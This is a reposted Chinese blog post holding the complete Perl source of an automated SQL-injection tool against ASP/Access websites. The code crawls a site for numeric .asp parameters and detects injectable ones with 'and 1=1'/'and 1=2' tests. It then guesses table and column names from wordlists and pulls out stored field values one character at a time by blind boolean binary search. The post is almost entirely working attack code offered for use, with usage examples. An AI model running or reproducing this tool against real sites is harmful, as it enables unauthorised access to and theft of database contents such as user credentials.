Chinaunix首页 | 论坛 | 博客
  • 博客访问: 341209
  • 博文数量: 213
  • 博客积分: 566
  • 博客等级: 中士
  • 技术积分: 1210
  • 用 户 组: 普通用户
  • 注册时间: 2011-03-21 13:09
文章分类

全部博文(213)

文章存档

2015年(1)

2013年(7)

2012年(128)

2011年(77)

分类: PERL

2013-05-07 12:46:57

原文地址:基于Perl的SQL扫描注入工具 作者:hkkkyy

基于Perl的asp+access扫描注入工具,cookie扫描注入还未完成

点击(此处)折叠或打开

  1. #!usr/bin/perl

  2. use strict;
  3. use LWP::UserAgent;
  4. use HTML::LinkExtor;
  5. use URI::URL;
  6. use URI::Escape;
  7. use 5.010001;
  8. #use HTTP::Cookies;
  9. $|=1;

  10. #############################################
  11. my $ua=LWP::UserAgent->new(
  12. 'User-Agent'=>'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; iCafeMedia; .NET CLR 2.0.50727; CIBA)',
  13. 'time_out'=>'3');
  14. my %link;
  15. my @link;
  16. my $res;
  17. my @inject_url;
  18. #############################################
  19. my $table_fl="tables.txt";
  20. my $line_fl="lines.txt";
  21. my($high,$low)=(127,31);
  22. #############################################

  23. print qq!\n
  24. ===============================================================================
  25.                 SQL INJECT    
  26.                              by LLC
  27.                              2013.5.2
  28. ===============================================================================

  29. !;
  30. &Cmd_Anlz(@ARGV);
  31. &SQL_Inject(@inject_url);    #注入

  32. # 命令解析
  33. sub Cmd_Anlz{
  34.     my @input_url;
  35.     while(defined(my $cmd=shift @_)){
  36.         given($cmd){
  37.             when(!/^-/){&Progress($cmd)}
  38.             when(/(^-u)|(^--url)/){    open URL,'<',shift @_ or die "ERROR\n";
  39.                         foreach(<URL>){chomp $_;
  40.                             push @input_url,$_};
  41.                         &Progress(@input_url)}
  42.             when(/(^-t)|(^--table)/){$table_fl=shift @_}
  43.             when(/(^-l)|(^--line)/){$line_fl=shift @_}
  44.             when(/(^-i)|(^--inject)/){push(@inject_url,&Http_add(shift @_))}
  45.             when(/(^-h)|(^--help)/){&Help_line}
  46.             default{die "ERROR COMMAND!\n"}
  47.             }
  48.     }
  49. }

  50. sub Progress{
  51.     my @tmp=@_;
  52.     map{$link{$_}=1} @tmp;        #把url自身加入扫描列表
  53.     my $base;
  54.     my $p;
  55.     while(defined(my $input_url=shift @tmp)){
  56.         $input_url=&Http_add($input_url);
  57.         $p=HTML::LinkExtor->new(\&callback);
  58.         # Request document and parse it as it arrives
  59.         $res=$ua->request(HTTP::Request->new(GET=>$input_url),sub {$p->parse($_[0])});
  60.         $base=$res->base;
  61.     }
  62.     @link=keys %link;
  63.     undef %link;
  64.     @link=map { $_ =url($_, $base)->abs; } @link;
  65.     @link=&Link_Anlz(@link);
  66.     #print join("\n",@link);
  67.     &Inject_get(@link);    #扫描注入点
  68. }

  69. sub Http_add{
  70.     my $url=shift;
  71.     $url=~s!(http://)?(.*)!http://$2!i;
  72.     return $url;
  73. }

  74. sub callback {
  75.     my($tag, %attr) = @_;
  76.     return if ($tag ne 'a' and $tag ne 'link');
  77.     grep{++$link{$_}<2}values %attr;
  78.     
  79. }

  80. sub Link_Anlz{
  81.     my @url;
  82.     while(defined (my $tmp=shift @_)){
  83.         push(@url,$tmp) if $tmp=~m/\.asp\?.*?=\d+((\s+)|((%20)+))?$/;
  84.     }
  85.     #print join("\n",@url);
  86.     return @url;    
  87. }

  88. sub Inject_get{
  89.     my %url=();
  90.     while(defined(my $tmp=shift @_)){
  91.         $url{0}=$tmp;
  92.         $url{1}=$tmp.uri_escape(" and 1=1");    
  93.         $url{2}=$tmp.uri_escape(" and 1=2");
  94.         for(my $i=0;$i<3;$i++){
  95.             $url{$i}=$ua->get($url{$i});
  96.         }
  97.         if($url{0}->content eq $url{1}->content and $url{1}->content ne $url{2}->content){
  98.             print "GET注入点: \t$tmp\n";
  99.             push @inject_url,$tmp;
  100.         }else{
  101.             print "找不到注入点\n";
  102.         }
  103.     }
  104. }

  105. sub SQL_Inject{
  106.     return 0 unless(defined $inject_url[0]);
  107.     my @url=@_;
  108.     my @table;
  109.     my @line;
  110.     my @lenth;
  111.     my $success_url;
  112.     open TABLE,'<',"$table_fl" or die "can't open $table_fl\n";
  113.     print "\n猜表名 ing... \twait\n";
  114.     while(defined (my $url=shift @url)){
  115.         $res=$ua->get($url);
  116.         last if defined($table[0]);
  117.         while(defined (my $rd_line=<TABLE>)){
  118.             chomp $rd_line;
  119.             my $tmp=$ua->get($url.uri_escape(" and exists (select * from $rd_line)"));
  120.             #print $url.uri_escape(" and exists (select * from $rd_line)")."\n";
  121.             if($tmp->status_line=~/20/ and $tmp->content eq $res->content){
  122.                 push @table,$rd_line;
  123.                 print "TABLE NAME:\t$rd_line\n";
  124.                 $success_url=$url;
  125.             }
  126.         }
  127.     }

  128.     unless(defined $table[0]){
  129.         print "猜表失败,请尝试其他表字典\n";
  130.         return 0;
  131.     }

  132.     ################### 列名 #####################
  133.     print "\n猜列名==>\t请输入表名:(表名间以\",\"分割)\nTABLE NAME:\t";
  134.     my $in_table=<stdin>;
  135.     chomp $in_table;
  136.     @table=split(/,/,$in_table);
  137.     open LINE,'<',"$line_fl" or die "can't open $line_fl\n";
  138.     $res=$ua->get($success_url);
  139.     print "\n表名==> \t列名\n";

  140.     foreach my $table(@table){    
  141.         while(defined (my $rd_line=<LINE>)){
  142.             chomp $rd_line;
  143.             my $tmp=$ua->get($success_url.uri_escape(" and exists (select $rd_line from $table)"));
  144.             #print $success_url." and exists (select $rd_line from $table)"."\n";
  145.             if($tmp->status_line=~/20/ and $tmp->content eq $res->content){
  146.                 push @line,$rd_line;
  147.                 print "$table==>\t$rd_line\n";
  148.             }
  149.         }
  150.     }

  151.     unless(defined $line[0]){
  152.         print "猜列失败,请尝试其他表字典\n";
  153.         return 0;
  154.     }

  155.     #####################列的长度#####################
  156.     print "\n猜列长==>\t请输入表名:列名:(多个列名间以\",\"分割)\n";
  157.     my $lines=<stdin>;
  158.     chomp $lines;
  159.     my $table;
  160.     ($table,$lines)=split(":",$lines);
  161.     @line=split(",",$lines);

  162.     foreach my $line(@line){
  163.         my $i=0;
  164.         my $tmp;
  165.         do{    $i++;
  166.             $tmp=$ua->get($success_url.uri_escape(" and (select top 1 len($line) from $table)>$i"));
  167.         }    while($tmp->content eq $res->content);    
  168.         print "$table==>$line:\t$i\n";
  169.         push @lenth,$i;
  170.     }

  171.     ########################字段的值###################
  172.     print "\n猜解字段的值\n";
  173.     for(my $i=0;scalar @line>$i;$i++){
  174.         my $line=$line[$i];
  175.         my $lenth=$lenth[$i];
  176.         my @asc_value;
  177.         my $tmp;
  178.         print "\n$table=>$line:";
  179.         for(my $j=1;$lenth+1>$j;$j++){
  180.             my $mid=79;
  181.             $high=127;
  182.             $low=32;

  183.             while($high!=$low+1){
  184.                 $tmp=$ua->get($success_url.uri_escape(" and (select top 1 asc(mid($line,$j,1)) from $table)>$mid"));
  185.                 if($tmp->content ne $res->content){
  186.                     $mid=&Half(0,$mid);
  187.                 }else{
  188.                     $mid=&Half(1,$mid);
  189.                 }
  190.             }
  191.             push @asc_value,$high;    
  192.         print "$high--";
  193.         }
  194.         print "\nRESULT:\t".join("",(map{chr($_)}@asc_value));
  195.     }
  196.     print qq~\n
  197. ++++++++++++++++++++++++++++++++++++++ END ++++++++++++++++++++++++++++++++++++
  198.     ~;
  199. }
  200. sub Half{
  201.     my ($ruselt,$value)=@_;
  202.     if($ruselt==1){
  203.         $low=$value;
  204.         return int(($high+$low)/2);
  205.     }else{
  206.         $high=$value;
  207.         return int(($high+$low)/2);
  208.     }
  209. }

  210. sub Help_line{
  211.     print q~
  212. ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  213.                  帮助信息
  214.                 
  215. (1) -t 或 --table 加文件名 ==> 数据库的表字典,默认为tables.txt
  216. (2) -i--line 加文件名 ==> 数据库的列字典,默认为lines.txt
  217. (3) -u--url 加文件名 ==> 读取url字典,请求字典中的url
  218.          对返回页面中的链接扫描注入点,发现后自动注入。
  219.          如果不加 "-参数",则只对输入的url进行上述操作。
  220.         
  221. (4) -i--inject 加注入点url==>直接对该注入点进行注入
  222. (5) -h--help 查看此条帮助信息

  223. EXP: ***.pl www.xxx.com/news.asp?
  224.     ***.pl -i www.xxx.com:8080/news.asp?id=13 --table form.txt

  225. ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  226. NAME:SQL Inject Version:1.0 By:LLC E_mail:183229003@qq.com
  227. ________________________________________________________________________________
  228. ~
  229. }

  230. =cookie
  231. sub Inject_cookie{
  232.     my %cookie=();
  233.     my $tmp=shift;
  234.     my $cookie_jar=HTTP::Cookies->new(file=>'tmp.dat',autosave=>1,);    
  235.     #while(defined(my $tmp=shift @_)){
  236.         $ua->cookie_jar($cookie_jar);
  237.         $res=$ua->get($tmp);
  238.         $tmp=~m!(.*asp\?)((.*?)=(\d+))$!;
  239.         my $url_base=$1;
  240.         my $url_id=$3;
  241.         my $url_num=$4;
  242.         $cookie{0}=HTTP::Cookies->new(file=>'tmp.txt',autosave=>1,$3=>$4);    
  243.         print "\n $1\t$3\t$4\n";
  244.         $cookie{1}=uri_escape("$url_id and 1=1");    
  245.         $cookie{2}=uri_escape("$url_id and 1=2");    
  246.         #$ua->cookie_jar($cookie{0});
  247.         #$cookie{0}=$ua->get($url_base);
  248.         #print $cookie{0}->content;
  249.         #print "cookie\n" if ($res->content eq $cookie{0}->content)
  250. }
  251. =cut

阅读(1187) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~